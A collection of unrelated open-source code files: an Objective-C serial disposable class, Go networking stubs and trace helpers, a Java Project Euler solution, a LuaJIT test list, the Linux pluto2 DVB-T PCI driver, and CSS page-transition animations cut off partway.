// A reference to the receiver's `disposable`. This variable must only be
// modified atomically.
//
// If this is `self`, no `disposable` has been set, but the receiver has not
// been disposed of yet. `self` is never stored retained.
//
// If this is `nil`, the receiver has been disposed.
//
// Otherwise, this is a retained reference to the inner disposable and the
// receiver has not been disposed of yet.
void * volatile _disposablePtr;
}
@end
@implementation RACSerialDisposable
#pragma mark Properties
- (BOOL)isDisposed {
return _disposablePtr == nil;
}
- (RACDisposable *)disposable {
RACDisposable *disposable = (__bridge id)_disposablePtr;
return (disposable == self ? nil : disposable);
}
- (void)setDisposable:(RACDisposable *)disposable {
[self swapInDisposable:disposable];
}
#pragma mark Lifecycle
+ (instancetype)serialDisposableWithDisposable:(RACDisposable *)disposable {
RACSerialDisposable *serialDisposable = [[self alloc] init];
serialDisposable.disposable = disposable;
return serialDisposable;
}
- (id)init {
self = [super init];
if (self == nil) return nil;
_disposablePtr = (__bridge void *)self;
OSMemoryBarrier();
return self;
}
- (id)initWithBlock:(void (^)(void))block {
self = [self init];
if (self == nil) return nil;
self.disposable = [RACDisposable disposableWithBlock:block];
return self;
}
- (void)dealloc {
self.disposable = nil;
}
#pragma mark Inner Disposable
- (RACDisposable *)swapInDisposable:(RACDisposable *)newDisposable {
void * const selfPtr = (__bridge void *)self;
// Only retain the new disposable if it's not `self`.
// Take ownership before attempting the swap so that a subsequent swap
// receives an owned reference.
void *newDisposablePtr = selfPtr;
if (newDisposable != nil) {
newDisposablePtr = (void *)CFBridgingRetain(newDisposable);
}
void *existingDisposablePtr;
// Keep trying while we're not disposed.
while ((existingDisposablePtr = _disposablePtr) != NULL) {
if (!OSAtomicCompareAndSwapPtrBarrier(existingDisposablePtr, newDisposablePtr, &_disposablePtr)) {
continue;
}
// Return nil if _disposablePtr was set to self. Otherwise, release
// the old value and return it as an object.
if (existingDisposablePtr == selfPtr) {
return nil;
} else {
return CFBridgingRelease(existingDisposablePtr);
}
}
// At this point, we've found out that we were already disposed.
[newDisposable dispose];
// Failed to swap, clean up the ownership we took prior to the swap.
if (newDisposable != nil) {
CFRelease(newDisposablePtr);
}
return nil;
}
#pragma mark Disposal
- (void)dispose {
void *existingDisposablePtr;
while ((existingDisposablePtr = _disposablePtr) != NULL) {
if (OSAtomicCompareAndSwapPtrBarrier(existingDisposablePtr, NULL, &_disposablePtr)) {
if (existingDisposablePtr != (__bridge void *)self) {
RACDisposable *existingDisposable = CFBridgingRelease(existingDisposablePtr);
[existingDisposable dispose];
}
break;
}
}
}
@end
|
{
"pile_set_name": "Github"
}
|
// Copyright 2013 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows
package ipv6
import (
"net"
"golang.org/x/net/bpf"
"golang.org/x/net/internal/socket"
)
func (so *sockOpt) getMulticastInterface(c *socket.Conn) (*net.Interface, error) {
return nil, errNotImplemented
}
func (so *sockOpt) setMulticastInterface(c *socket.Conn, ifi *net.Interface) error {
return errNotImplemented
}
func (so *sockOpt) getICMPFilter(c *socket.Conn) (*ICMPFilter, error) {
return nil, errNotImplemented
}
func (so *sockOpt) setICMPFilter(c *socket.Conn, f *ICMPFilter) error {
return errNotImplemented
}
func (so *sockOpt) getMTUInfo(c *socket.Conn) (*net.Interface, int, error) {
return nil, 0, errNotImplemented
}
func (so *sockOpt) setGroup(c *socket.Conn, ifi *net.Interface, grp net.IP) error {
return errNotImplemented
}
func (so *sockOpt) setSourceGroup(c *socket.Conn, ifi *net.Interface, grp, src net.IP) error {
return errNotImplemented
}
func (so *sockOpt) setBPF(c *socket.Conn, f []bpf.RawInstruction) error {
return errNotImplemented
}
|
{
"pile_set_name": "Github"
}
|
/*
* Solution to Project Euler problem 17
* Copyright (c) Project Nayuki. All rights reserved.
*
* https://www.nayuki.io/page/project-euler-solutions
* https://github.com/nayuki/Project-Euler-solutions
*/
public final class p017 implements EulerSolution {
public static void main(String[] args) {
System.out.println(new p017().run());
}
/*
* - For the numbers 0 to 19, we write the single word:
* {zero, one, two, three, four, five, six, seven, eight, nine,
* ten, eleven, twelve, thirteen, fourteen, fifteen, sixteen, seventeen, eighteen, nineteen}.
* - For the numbers 20 to 99, we write the word for the tens place:
* {twenty, thirty, forty, fifty, sixty, seventy, eighty, ninety}.
* Subsequently if the last digit is not 0, then we write the word for the ones place (one to nine).
* - For the numbers 100 to 999, we write the ones word for the hundreds place followed by "hundred":
* {one hundred, two hundred, three hundred, ..., eight hundred, nine hundred}.
* Subsequently if the last two digits are not 00, then we write the word "and"
* followed by the phrase for the last two digits (from 01 to 99).
* - For the numbers 1000 to 999999, we write the word for the three digits starting at the
* thousands place and going leftward, followed by "thousand". Subsequently if the last three
* digits are not 000, then we write the phrase for the last three digits (from 001 to 999).
*/
public String run() {
int sum = 0;
for (int i = 1; i <= 1000; i++)
sum += toEnglish(i).length();
return Integer.toString(sum);
}
private static String toEnglish(int n) {
if (0 <= n && n < 20)
return ONES[n];
else if (20 <= n && n < 100)
return TENS[n / 10] + (n % 10 != 0 ? ONES[n % 10] : "");
else if (100 <= n && n < 1000)
return ONES[n / 100] + "hundred" + (n % 100 != 0 ? "and" + toEnglish(n % 100) : "");
else if (1000 <= n && n < 1000000)
return toEnglish(n / 1000) + "thousand" + (n % 1000 != 0 ? toEnglish(n % 1000) : "");
else
throw new IllegalArgumentException();
}
private static String[] ONES = {
"zero", "one", "two", "three", "four", "five", "six", "seven", "eight", "nine",
"ten", "eleven", "twelve", "thirteen", "fourteen", "fifteen", "sixteen", "seventeen", "eighteen", "nineteen"};
private static String[] TENS = {
"", "", "twenty", "thirty", "forty", "fifty", "sixty", "seventy", "eighty", "ninety"};
}
|
{
"pile_set_name": "Github"
}
|
// Copyright 2018 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build go1.11
package http2
import (
"net/http/httptrace"
"net/textproto"
)
func traceHasWroteHeaderField(trace *httptrace.ClientTrace) bool {
return trace != nil && trace.WroteHeaderField != nil
}
func traceWroteHeaderField(trace *httptrace.ClientTrace, k, v string) {
if trace != nil && trace.WroteHeaderField != nil {
trace.WroteHeaderField(k, []string{v})
}
}
func traceGot1xxResponseFunc(trace *httptrace.ClientTrace) func(int, textproto.MIMEHeader) error {
if trace != nil {
return trace.Got1xxResponse
}
return nil
}
|
{
"pile_set_name": "Github"
}
|
base
bit.lua +bit
math
string
table
coroutine
ffi +ffi
contents.lua
|
{
"pile_set_name": "Github"
}
|
/*
* pluto2.c - Satelco Easywatch Mobile Terrestrial Receiver [DVB-T]
*
* Copyright (C) 2005 Andreas Oberritter <[email protected]>
*
* based on pluto2.c 1.10 - http://instinct-wp8.no-ip.org/pluto/
* by Dany Salman <[email protected]>
* Copyright (c) 2004 TDF
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*
*/
#include <linux/i2c.h>
#include <linux/i2c-algo-bit.h>
#include <linux/init.h>
#include <linux/interrupt.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/pci.h>
#include <linux/dma-mapping.h>
#include <linux/slab.h>
#include "demux.h"
#include "dmxdev.h"
#include "dvb_demux.h"
#include "dvb_frontend.h"
#include "dvb_net.h"
#include "dvbdev.h"
#include "tda1004x.h"
DVB_DEFINE_MOD_OPT_ADAPTER_NR(adapter_nr);
#define DRIVER_NAME "pluto2"
#define REG_PIDn(n) ((n) << 2) /* PID n pattern registers */
#define REG_PCAR 0x0020 /* PC address register */
#define REG_TSCR 0x0024 /* TS ctrl & status */
#define REG_MISC 0x0028 /* miscellaneous */
#define REG_MMAC 0x002c /* MSB MAC address */
#define REG_IMAC 0x0030 /* ISB MAC address */
#define REG_LMAC 0x0034 /* LSB MAC address */
#define REG_SPID 0x0038 /* SPI data */
#define REG_SLCS 0x003c /* serial links ctrl/status */
#define PID0_NOFIL (0x0001 << 16)
#define PIDn_ENP (0x0001 << 15)
#define PID0_END (0x0001 << 14)
#define PID0_AFIL (0x0001 << 13)
#define PIDn_PID (0x1fff << 0)
#define TSCR_NBPACKETS (0x00ff << 24)
#define TSCR_DEM (0x0001 << 17)
#define TSCR_DE (0x0001 << 16)
#define TSCR_RSTN (0x0001 << 15)
#define TSCR_MSKO (0x0001 << 14)
#define TSCR_MSKA (0x0001 << 13)
#define TSCR_MSKL (0x0001 << 12)
#define TSCR_OVR (0x0001 << 11)
#define TSCR_AFUL (0x0001 << 10)
#define TSCR_LOCK (0x0001 << 9)
#define TSCR_IACK (0x0001 << 8)
#define TSCR_ADEF (0x007f << 0)
#define MISC_DVR (0x0fff << 4)
#define MISC_ALED (0x0001 << 3)
#define MISC_FRST (0x0001 << 2)
#define MISC_LED1 (0x0001 << 1)
#define MISC_LED0 (0x0001 << 0)
#define SPID_SPIDR (0x00ff << 0)
#define SLCS_SCL (0x0001 << 7)
#define SLCS_SDA (0x0001 << 6)
#define SLCS_CSN (0x0001 << 2)
#define SLCS_OVR (0x0001 << 1)
#define SLCS_SWC (0x0001 << 0)
#define TS_DMA_PACKETS (8)
#define TS_DMA_BYTES (188 * TS_DMA_PACKETS)
#define I2C_ADDR_TDA10046 0x10
#define I2C_ADDR_TUA6034 0xc2
#define NHWFILTERS 8
struct pluto {
/* pci */
struct pci_dev *pdev;
u8 __iomem *io_mem;
/* dvb */
struct dmx_frontend hw_frontend;
struct dmx_frontend mem_frontend;
struct dmxdev dmxdev;
struct dvb_adapter dvb_adapter;
struct dvb_demux demux;
struct dvb_frontend *fe;
struct dvb_net dvbnet;
unsigned int full_ts_users;
unsigned int users;
/* i2c */
struct i2c_algo_bit_data i2c_bit;
struct i2c_adapter i2c_adap;
unsigned int i2cbug;
/* irq */
unsigned int overflow;
unsigned int dead;
/* dma */
dma_addr_t dma_addr;
u8 dma_buf[TS_DMA_BYTES];
u8 dummy[4096];
};
static inline struct pluto *feed_to_pluto(struct dvb_demux_feed *feed)
{
return container_of(feed->demux, struct pluto, demux);
}
static inline struct pluto *frontend_to_pluto(struct dvb_frontend *fe)
{
return container_of(fe->dvb, struct pluto, dvb_adapter);
}
static inline u32 pluto_readreg(struct pluto *pluto, u32 reg)
{
return readl(&pluto->io_mem[reg]);
}
static inline void pluto_writereg(struct pluto *pluto, u32 reg, u32 val)
{
writel(val, &pluto->io_mem[reg]);
}
static inline void pluto_rw(struct pluto *pluto, u32 reg, u32 mask, u32 bits)
{
u32 val = readl(&pluto->io_mem[reg]);
val &= ~mask;
val |= bits;
writel(val, &pluto->io_mem[reg]);
}
static void pluto_write_tscr(struct pluto *pluto, u32 val)
{
/* set the number of packets */
val &= ~TSCR_ADEF;
val |= TS_DMA_PACKETS / 2;
pluto_writereg(pluto, REG_TSCR, val);
}
static void pluto_setsda(void *data, int state)
{
struct pluto *pluto = data;
if (state)
pluto_rw(pluto, REG_SLCS, SLCS_SDA, SLCS_SDA);
else
pluto_rw(pluto, REG_SLCS, SLCS_SDA, 0);
}
static void pluto_setscl(void *data, int state)
{
struct pluto *pluto = data;
if (state)
pluto_rw(pluto, REG_SLCS, SLCS_SCL, SLCS_SCL);
else
pluto_rw(pluto, REG_SLCS, SLCS_SCL, 0);
/* try to detect i2c_inb() to workaround hardware bug:
* reset SDA to high after SCL has been set to low */
if ((state) && (pluto->i2cbug == 0)) {
pluto->i2cbug = 1;
} else {
if ((!state) && (pluto->i2cbug == 1))
pluto_setsda(pluto, 1);
pluto->i2cbug = 0;
}
}
static int pluto_getsda(void *data)
{
struct pluto *pluto = data;
return pluto_readreg(pluto, REG_SLCS) & SLCS_SDA;
}
static int pluto_getscl(void *data)
{
struct pluto *pluto = data;
return pluto_readreg(pluto, REG_SLCS) & SLCS_SCL;
}
static void pluto_reset_frontend(struct pluto *pluto, int reenable)
{
u32 val = pluto_readreg(pluto, REG_MISC);
if (val & MISC_FRST) {
val &= ~MISC_FRST;
pluto_writereg(pluto, REG_MISC, val);
}
if (reenable) {
val |= MISC_FRST;
pluto_writereg(pluto, REG_MISC, val);
}
}
static void pluto_reset_ts(struct pluto *pluto, int reenable)
{
u32 val = pluto_readreg(pluto, REG_TSCR);
if (val & TSCR_RSTN) {
val &= ~TSCR_RSTN;
pluto_write_tscr(pluto, val);
}
if (reenable) {
val |= TSCR_RSTN;
pluto_write_tscr(pluto, val);
}
}
static void pluto_set_dma_addr(struct pluto *pluto)
{
pluto_writereg(pluto, REG_PCAR, pluto->dma_addr);
}
static int pluto_dma_map(struct pluto *pluto)
{
pluto->dma_addr = pci_map_single(pluto->pdev, pluto->dma_buf,
TS_DMA_BYTES, PCI_DMA_FROMDEVICE);
return pci_dma_mapping_error(pluto->pdev, pluto->dma_addr);
}
static void pluto_dma_unmap(struct pluto *pluto)
{
pci_unmap_single(pluto->pdev, pluto->dma_addr,
TS_DMA_BYTES, PCI_DMA_FROMDEVICE);
}
static int pluto_start_feed(struct dvb_demux_feed *f)
{
struct pluto *pluto = feed_to_pluto(f);
/* enable PID filtering */
if (pluto->users++ == 0)
pluto_rw(pluto, REG_PIDn(0), PID0_AFIL | PID0_NOFIL, 0);
if ((f->pid < 0x2000) && (f->index < NHWFILTERS))
pluto_rw(pluto, REG_PIDn(f->index), PIDn_ENP | PIDn_PID, PIDn_ENP | f->pid);
else if (pluto->full_ts_users++ == 0)
pluto_rw(pluto, REG_PIDn(0), PID0_NOFIL, PID0_NOFIL);
return 0;
}
static int pluto_stop_feed(struct dvb_demux_feed *f)
{
struct pluto *pluto = feed_to_pluto(f);
/* disable PID filtering */
if (--pluto->users == 0)
pluto_rw(pluto, REG_PIDn(0), PID0_AFIL, PID0_AFIL);
if ((f->pid < 0x2000) && (f->index < NHWFILTERS))
pluto_rw(pluto, REG_PIDn(f->index), PIDn_ENP | PIDn_PID, 0x1fff);
else if (--pluto->full_ts_users == 0)
pluto_rw(pluto, REG_PIDn(0), PID0_NOFIL, 0);
return 0;
}
static void pluto_dma_end(struct pluto *pluto, unsigned int nbpackets)
{
/* synchronize the DMA transfer with the CPU
* first so that we see updated contents. */
pci_dma_sync_single_for_cpu(pluto->pdev, pluto->dma_addr,
TS_DMA_BYTES, PCI_DMA_FROMDEVICE);
/* Workaround for broken hardware:
* [1] On startup NBPACKETS seems to contain an uninitialized value,
* but no packets have been transferred.
* [2] Sometimes (actually very often) NBPACKETS stays at zero
* although one packet has been transferred.
* [3] Sometimes (actually rarely), the card gets into an erroneous
* mode where it continuously generates interrupts, claiming it
* has received nbpackets>TS_DMA_PACKETS packets, but no packet
* has been transferred. Only a reset seems to solve this
*/
if ((nbpackets == 0) || (nbpackets > TS_DMA_PACKETS)) {
unsigned int i = 0;
while (pluto->dma_buf[i] == 0x47)
i += 188;
nbpackets = i / 188;
if (i == 0) {
pluto_reset_ts(pluto, 1);
dev_printk(KERN_DEBUG, &pluto->pdev->dev, "resetting TS because of invalid packet counter\n");
}
}
dvb_dmx_swfilter_packets(&pluto->demux, pluto->dma_buf, nbpackets);
/* clear the dma buffer. this is needed to be able to identify
* new valid ts packets above */
memset(pluto->dma_buf, 0, nbpackets * 188);
/* reset the dma address */
pluto_set_dma_addr(pluto);
/* sync the buffer and give it back to the card */
pci_dma_sync_single_for_device(pluto->pdev, pluto->dma_addr,
TS_DMA_BYTES, PCI_DMA_FROMDEVICE);
}
static irqreturn_t pluto_irq(int irq, void *dev_id)
{
struct pluto *pluto = dev_id;
u32 tscr;
/* check whether an interrupt occurred on this device */
tscr = pluto_readreg(pluto, REG_TSCR);
if (!(tscr & (TSCR_DE | TSCR_OVR)))
return IRQ_NONE;
if (tscr == 0xffffffff) {
if (pluto->dead == 0)
dev_err(&pluto->pdev->dev, "card has hung or been ejected.\n");
/* It's dead Jim */
pluto->dead = 1;
return IRQ_HANDLED;
}
/* dma end interrupt */
if (tscr & TSCR_DE) {
pluto_dma_end(pluto, (tscr & TSCR_NBPACKETS) >> 24);
/* overflow interrupt */
if (tscr & TSCR_OVR)
pluto->overflow++;
if (pluto->overflow) {
dev_err(&pluto->pdev->dev, "overflow irq (%d)\n",
pluto->overflow);
pluto_reset_ts(pluto, 1);
pluto->overflow = 0;
}
} else if (tscr & TSCR_OVR) {
pluto->overflow++;
}
/* ACK the interrupt */
pluto_write_tscr(pluto, tscr | TSCR_IACK);
return IRQ_HANDLED;
}
static void pluto_enable_irqs(struct pluto *pluto)
{
u32 val = pluto_readreg(pluto, REG_TSCR);
/* disable AFUL and LOCK interrupts */
val |= (TSCR_MSKA | TSCR_MSKL);
/* enable DMA and OVERFLOW interrupts */
val &= ~(TSCR_DEM | TSCR_MSKO);
/* clear pending interrupts */
val |= TSCR_IACK;
pluto_write_tscr(pluto, val);
}
static void pluto_disable_irqs(struct pluto *pluto)
{
u32 val = pluto_readreg(pluto, REG_TSCR);
/* disable all interrupts */
val |= (TSCR_DEM | TSCR_MSKO | TSCR_MSKA | TSCR_MSKL);
/* clear pending interrupts */
val |= TSCR_IACK;
pluto_write_tscr(pluto, val);
}
static int pluto_hw_init(struct pluto *pluto)
{
pluto_reset_frontend(pluto, 1);
/* set automatic LED control by FPGA */
pluto_rw(pluto, REG_MISC, MISC_ALED, MISC_ALED);
/* set data endianness */
#ifdef __LITTLE_ENDIAN
pluto_rw(pluto, REG_PIDn(0), PID0_END, PID0_END);
#else
pluto_rw(pluto, REG_PIDn(0), PID0_END, 0);
#endif
/* map DMA and set address */
pluto_dma_map(pluto);
pluto_set_dma_addr(pluto);
/* enable interrupts */
pluto_enable_irqs(pluto);
/* reset TS logic */
pluto_reset_ts(pluto, 1);
return 0;
}
static void pluto_hw_exit(struct pluto *pluto)
{
/* disable interrupts */
pluto_disable_irqs(pluto);
pluto_reset_ts(pluto, 0);
/* LED: disable automatic control, enable yellow, disable green */
pluto_rw(pluto, REG_MISC, MISC_ALED | MISC_LED1 | MISC_LED0, MISC_LED1);
/* unmap DMA */
pluto_dma_unmap(pluto);
pluto_reset_frontend(pluto, 0);
}
static inline u32 divide(u32 numerator, u32 denominator)
{
if (denominator == 0)
return ~0;
return DIV_ROUND_CLOSEST(numerator, denominator);
}
/* LG Innotek TDTE-E001P (Infineon TUA6034) */
static int lg_tdtpe001p_tuner_set_params(struct dvb_frontend *fe)
{
struct dtv_frontend_properties *p = &fe->dtv_property_cache;
struct pluto *pluto = frontend_to_pluto(fe);
struct i2c_msg msg;
int ret;
u8 buf[4];
u32 div;
// Fref = 166.667 Hz
// Fref * 3 = 500.000 Hz
// IF = 36166667
// IF / Fref = 217
//div = divide(p->frequency + 36166667, 166667);
div = divide(p->frequency * 3, 500000) + 217;
buf[0] = (div >> 8) & 0x7f;
buf[1] = (div >> 0) & 0xff;
if (p->frequency < 611000000)
buf[2] = 0xb4;
else if (p->frequency < 811000000)
buf[2] = 0xbc;
else
buf[2] = 0xf4;
// VHF: 174-230 MHz
// center: 350 MHz
// UHF: 470-862 MHz
if (p->frequency < 350000000)
buf[3] = 0x02;
else
buf[3] = 0x04;
if (p->bandwidth_hz == 8000000)
buf[3] |= 0x08;
msg.addr = I2C_ADDR_TUA6034 >> 1;
msg.flags = 0;
msg.buf = buf;
msg.len = sizeof(buf);
if (fe->ops.i2c_gate_ctrl)
fe->ops.i2c_gate_ctrl(fe, 1);
ret = i2c_transfer(&pluto->i2c_adap, &msg, 1);
if (ret < 0)
return ret;
else if (ret == 0)
return -EREMOTEIO;
return 0;
}
static int pluto2_request_firmware(struct dvb_frontend *fe,
const struct firmware **fw, char *name)
{
struct pluto *pluto = frontend_to_pluto(fe);
return request_firmware(fw, name, &pluto->pdev->dev);
}
static struct tda1004x_config pluto2_fe_config = {
.demod_address = I2C_ADDR_TDA10046 >> 1,
.invert = 1,
.invert_oclk = 0,
.xtal_freq = TDA10046_XTAL_16M,
.agc_config = TDA10046_AGC_DEFAULT,
.if_freq = TDA10046_FREQ_3617,
.request_firmware = pluto2_request_firmware,
};
static int frontend_init(struct pluto *pluto)
{
int ret;
pluto->fe = tda10046_attach(&pluto2_fe_config, &pluto->i2c_adap);
if (!pluto->fe) {
dev_err(&pluto->pdev->dev, "could not attach frontend\n");
return -ENODEV;
}
pluto->fe->ops.tuner_ops.set_params = lg_tdtpe001p_tuner_set_params;
ret = dvb_register_frontend(&pluto->dvb_adapter, pluto->fe);
if (ret < 0) {
if (pluto->fe->ops.release)
pluto->fe->ops.release(pluto->fe);
return ret;
}
return 0;
}
static void pluto_read_rev(struct pluto *pluto)
{
u32 val = pluto_readreg(pluto, REG_MISC) & MISC_DVR;
dev_info(&pluto->pdev->dev, "board revision %d.%d\n",
(val >> 12) & 0x0f, (val >> 4) & 0xff);
}
static void pluto_read_mac(struct pluto *pluto, u8 *mac)
{
u32 val = pluto_readreg(pluto, REG_MMAC);
mac[0] = (val >> 8) & 0xff;
mac[1] = (val >> 0) & 0xff;
val = pluto_readreg(pluto, REG_IMAC);
mac[2] = (val >> 8) & 0xff;
mac[3] = (val >> 0) & 0xff;
val = pluto_readreg(pluto, REG_LMAC);
mac[4] = (val >> 8) & 0xff;
mac[5] = (val >> 0) & 0xff;
dev_info(&pluto->pdev->dev, "MAC %pM\n", mac);
}
static int pluto_read_serial(struct pluto *pluto)
{
struct pci_dev *pdev = pluto->pdev;
unsigned int i, j;
u8 __iomem *cis;
cis = pci_iomap(pdev, 1, 0);
if (!cis)
return -EIO;
dev_info(&pdev->dev, "S/N ");
for (i = 0xe0; i < 0x100; i += 4) {
u32 val = readl(&cis[i]);
for (j = 0; j < 32; j += 8) {
if ((val & 0xff) == 0xff)
goto out;
printk("%c", val & 0xff);
val >>= 8;
}
}
out:
printk("\n");
pci_iounmap(pdev, cis);
return 0;
}
static int pluto2_probe(struct pci_dev *pdev, const struct pci_device_id *ent)
{
struct pluto *pluto;
struct dvb_adapter *dvb_adapter;
struct dvb_demux *dvbdemux;
struct dmx_demux *dmx;
int ret = -ENOMEM;
pluto = kzalloc(sizeof(struct pluto), GFP_KERNEL);
if (!pluto)
goto out;
pluto->pdev = pdev;
ret = pci_enable_device(pdev);
if (ret < 0)
goto err_kfree;
/* enable interrupts */
pci_write_config_dword(pdev, 0x6c, 0x8000);
ret = pci_set_dma_mask(pdev, DMA_BIT_MASK(32));
if (ret < 0)
goto err_pci_disable_device;
pci_set_master(pdev);
ret = pci_request_regions(pdev, DRIVER_NAME);
if (ret < 0)
goto err_pci_disable_device;
pluto->io_mem = pci_iomap(pdev, 0, 0x40);
if (!pluto->io_mem) {
ret = -EIO;
goto err_pci_release_regions;
}
pci_set_drvdata(pdev, pluto);
ret = request_irq(pdev->irq, pluto_irq, IRQF_SHARED, DRIVER_NAME, pluto);
if (ret < 0)
goto err_pci_iounmap;
ret = pluto_hw_init(pluto);
if (ret < 0)
goto err_free_irq;
/* i2c */
i2c_set_adapdata(&pluto->i2c_adap, pluto);
strcpy(pluto->i2c_adap.name, DRIVER_NAME);
pluto->i2c_adap.owner = THIS_MODULE;
pluto->i2c_adap.dev.parent = &pdev->dev;
pluto->i2c_adap.algo_data = &pluto->i2c_bit;
pluto->i2c_bit.data = pluto;
pluto->i2c_bit.setsda = pluto_setsda;
pluto->i2c_bit.setscl = pluto_setscl;
pluto->i2c_bit.getsda = pluto_getsda;
pluto->i2c_bit.getscl = pluto_getscl;
pluto->i2c_bit.udelay = 10;
pluto->i2c_bit.timeout = 10;
/* Raise SCL and SDA */
pluto_setsda(pluto, 1);
pluto_setscl(pluto, 1);
ret = i2c_bit_add_bus(&pluto->i2c_adap);
if (ret < 0)
goto err_pluto_hw_exit;
/* dvb */
ret = dvb_register_adapter(&pluto->dvb_adapter, DRIVER_NAME,
THIS_MODULE, &pdev->dev, adapter_nr);
if (ret < 0)
goto err_i2c_del_adapter;
dvb_adapter = &pluto->dvb_adapter;
pluto_read_rev(pluto);
pluto_read_serial(pluto);
pluto_read_mac(pluto, dvb_adapter->proposed_mac);
dvbdemux = &pluto->demux;
dvbdemux->filternum = 256;
dvbdemux->feednum = 256;
dvbdemux->start_feed = pluto_start_feed;
dvbdemux->stop_feed = pluto_stop_feed;
dvbdemux->dmx.capabilities = (DMX_TS_FILTERING |
DMX_SECTION_FILTERING | DMX_MEMORY_BASED_FILTERING);
ret = dvb_dmx_init(dvbdemux);
if (ret < 0)
goto err_dvb_unregister_adapter;
dmx = &dvbdemux->dmx;
pluto->hw_frontend.source = DMX_FRONTEND_0;
pluto->mem_frontend.source = DMX_MEMORY_FE;
pluto->dmxdev.filternum = NHWFILTERS;
pluto->dmxdev.demux = dmx;
ret = dvb_dmxdev_init(&pluto->dmxdev, dvb_adapter);
if (ret < 0)
goto err_dvb_dmx_release;
ret = dmx->add_frontend(dmx, &pluto->hw_frontend);
if (ret < 0)
goto err_dvb_dmxdev_release;
ret = dmx->add_frontend(dmx, &pluto->mem_frontend);
if (ret < 0)
goto err_remove_hw_frontend;
ret = dmx->connect_frontend(dmx, &pluto->hw_frontend);
if (ret < 0)
goto err_remove_mem_frontend;
ret = frontend_init(pluto);
if (ret < 0)
goto err_disconnect_frontend;
dvb_net_init(dvb_adapter, &pluto->dvbnet, dmx);
out:
return ret;
err_disconnect_frontend:
dmx->disconnect_frontend(dmx);
err_remove_mem_frontend:
dmx->remove_frontend(dmx, &pluto->mem_frontend);
err_remove_hw_frontend:
dmx->remove_frontend(dmx, &pluto->hw_frontend);
err_dvb_dmxdev_release:
dvb_dmxdev_release(&pluto->dmxdev);
err_dvb_dmx_release:
dvb_dmx_release(dvbdemux);
err_dvb_unregister_adapter:
dvb_unregister_adapter(dvb_adapter);
err_i2c_del_adapter:
i2c_del_adapter(&pluto->i2c_adap);
err_pluto_hw_exit:
pluto_hw_exit(pluto);
err_free_irq:
free_irq(pdev->irq, pluto);
err_pci_iounmap:
pci_iounmap(pdev, pluto->io_mem);
err_pci_release_regions:
pci_release_regions(pdev);
err_pci_disable_device:
pci_disable_device(pdev);
err_kfree:
kfree(pluto);
goto out;
}
static void pluto2_remove(struct pci_dev *pdev)
{
struct pluto *pluto = pci_get_drvdata(pdev);
struct dvb_adapter *dvb_adapter = &pluto->dvb_adapter;
struct dvb_demux *dvbdemux = &pluto->demux;
struct dmx_demux *dmx = &dvbdemux->dmx;
dmx->close(dmx);
dvb_net_release(&pluto->dvbnet);
if (pluto->fe)
dvb_unregister_frontend(pluto->fe);
dmx->disconnect_frontend(dmx);
dmx->remove_frontend(dmx, &pluto->mem_frontend);
dmx->remove_frontend(dmx, &pluto->hw_frontend);
dvb_dmxdev_release(&pluto->dmxdev);
dvb_dmx_release(dvbdemux);
dvb_unregister_adapter(dvb_adapter);
i2c_del_adapter(&pluto->i2c_adap);
pluto_hw_exit(pluto);
free_irq(pdev->irq, pluto);
pci_iounmap(pdev, pluto->io_mem);
pci_release_regions(pdev);
pci_disable_device(pdev);
kfree(pluto);
}
#ifndef PCI_VENDOR_ID_SCM
#define PCI_VENDOR_ID_SCM 0x0432
#endif
#ifndef PCI_DEVICE_ID_PLUTO2
#define PCI_DEVICE_ID_PLUTO2 0x0001
#endif
static struct pci_device_id pluto2_id_table[] = {
{
.vendor = PCI_VENDOR_ID_SCM,
.device = PCI_DEVICE_ID_PLUTO2,
.subvendor = PCI_ANY_ID,
.subdevice = PCI_ANY_ID,
}, {
/* empty */
},
};
MODULE_DEVICE_TABLE(pci, pluto2_id_table);
static struct pci_driver pluto2_driver = {
.name = DRIVER_NAME,
.id_table = pluto2_id_table,
.probe = pluto2_probe,
.remove = pluto2_remove,
};
module_pci_driver(pluto2_driver);
MODULE_AUTHOR("Andreas Oberritter <[email protected]>");
MODULE_DESCRIPTION("Pluto2 driver");
MODULE_LICENSE("GPL");
|
{
"pile_set_name": "Github"
}
|
/* animation sets */
/* move from / to */
.pt-page-moveToLeft {
-webkit-animation: moveToLeft .6s ease both;
animation: moveToLeft .6s ease both;
}
.pt-page-moveFromLeft {
-webkit-animation: moveFromLeft .6s ease both;
animation: moveFromLeft .6s ease both;
}
.pt-page-moveToRight {
-webkit-animation: moveToRight .6s ease both;
animation: moveToRight .6s ease both;
}
.pt-page-moveFromRight {
-webkit-animation: moveFromRight .6s ease both;
animation: moveFromRight .6s ease both;
}
.pt-page-moveToTop {
-webkit-animation: moveToTop .6s ease both;
animation: moveToTop .6s ease both;
}
.pt-page-moveFromTop {
-webkit-animation: moveFromTop .6s ease both;
animation: moveFromTop .6s ease both;
}
.pt-page-moveToBottom {
-webkit-animation: moveToBottom .6s ease both;
animation: moveToBottom .6s ease both;
}
.pt-page-moveFromBottom {
-webkit-animation: moveFromBottom .6s ease both;
animation: moveFromBottom .6s ease both;
}
/* fade */
.pt-page-fade {
-webkit-animation: fade .7s ease both;
animation: fade .7s ease both;
}
/* move from / to and fade */
.pt-page-moveToLeftFade {
-webkit-animation: moveToLeftFade .7s ease both;
animation: moveToLeftFade .7s ease both;
}
.pt-page-moveFromLeftFade {
-webkit-animation: moveFromLeftFade .7s ease both;
animation: moveFromLeftFade .7s ease both;
}
.pt-page-moveToRightFade {
-webkit-animation: moveToRightFade .7s ease both;
animation: moveToRightFade .7s ease both;
}
.pt-page-moveFromRightFade {
-webkit-animation: moveFromRightFade .7s ease both;
animation: moveFromRightFade .7s ease both;
}
.pt-page-moveToTopFade {
-webkit-animation: moveToTopFade .7s ease both;
animation: moveToTopFade .7s ease both;
}
.pt-page-moveFromTopFade {
-webkit-animation: moveFromTopFade .7s ease both;
